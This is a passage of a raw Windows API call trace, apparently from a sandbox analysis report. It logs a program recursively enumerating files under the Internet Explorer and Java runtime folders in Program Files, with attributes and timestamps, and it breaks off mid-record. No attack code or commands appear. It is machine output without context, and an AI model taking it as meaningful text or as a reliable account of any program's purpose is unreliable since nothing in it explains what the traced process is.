ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.721] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0163.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d16d0 [0163.721] FindNextFileW (in: hFindFile=0x1d16d0, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.721] FindNextFileW (in: hFindFile=0x1d16d0, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2dfe94, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x68e10600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0163.721] FindNextFileW (in: hFindFile=0x1d16d0, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3c4cb5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0163.722] FindNextFileW (in: hFindFile=0x1d16d0, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0163.722] FindNextFileW (in: hFindFile=0x1d16d0, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 0 [0163.722] FindClose (in: hFindFile=0x1d16d0 | out: hFindFile=0x1d16d0) returned 1 [0163.722] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3350070 | out: hHeap=0x6f0000) returned 1 [0163.722] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0163.722] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0163.722] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iediagcmd.exe", cAlternateFileName="")) returned 1 [0163.723] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0163.723] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0163.723] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4c60b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0163.723] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0163.723] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0163.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1850 [0163.723] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.723] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.ico", cAlternateFileName="")) returned 1 [0163.723] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.ico", cAlternateFileName="")) returned 0 [0163.723] FindClose (in: hFindFile=0x1d1850 | out: hFindFile=0x1d1850) returned 1 [0163.725] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3350070 | out: hHeap=0x6f0000) returned 1 [0163.725] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0163.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1790 [0163.725] FindNextFileW (in: hFindFile=0x1d1790, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.725] FindNextFileW (in: hFindFile=0x1d1790, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0163.725] FindNextFileW (in: hFindFile=0x1d1790, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0163.725] FindClose (in: hFindFile=0x1d1790 | out: hFindFile=0x1d1790) returned 1 [0163.726] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3350070 | out: hHeap=0x6f0000) returned 1 [0163.726] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0163.726] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0163.726] FindClose (in: hFindFile=0x1d1810 | out: hFindFile=0x1d1810) returned 1 [0163.726] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3340068 | out: hHeap=0x6f0000) returned 1 [0163.726] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x25df4d8 | out: lpFindFileData=0x25df4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x108, cFileName="Java", cAlternateFileName="")) returned 1 [0163.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\*", lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d15d0 [0163.727] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.727] FindNextFileW (in: hFindFile=0x1d15d0, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xf1b29c69, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xf1b29c69, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1 [0163.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xf1b29c69, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xf1b29c69, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1ad0 [0163.727] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xf1b29c69, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xf1b29c69, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.727] FindNextFileW (in: hFindFile=0x1d1ad0, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0163.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1a90 [0163.728] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.728] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0163.729] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll", cAlternateFileName="")) returned 1 [0163.729] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0163.729] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0163.729] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0163.729] FindNextFileW (in: hFindFile=0x1d1a90, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0163.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1590 [0163.730] FindNextFileW (in: hFindFile=0x1d1590, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.730] FindNextFileW (in: hFindFile=0x1d1590, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0163.730] FindNextFileW (in: hFindFile=0x1d1590, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0163.730] FindNextFileW (in: 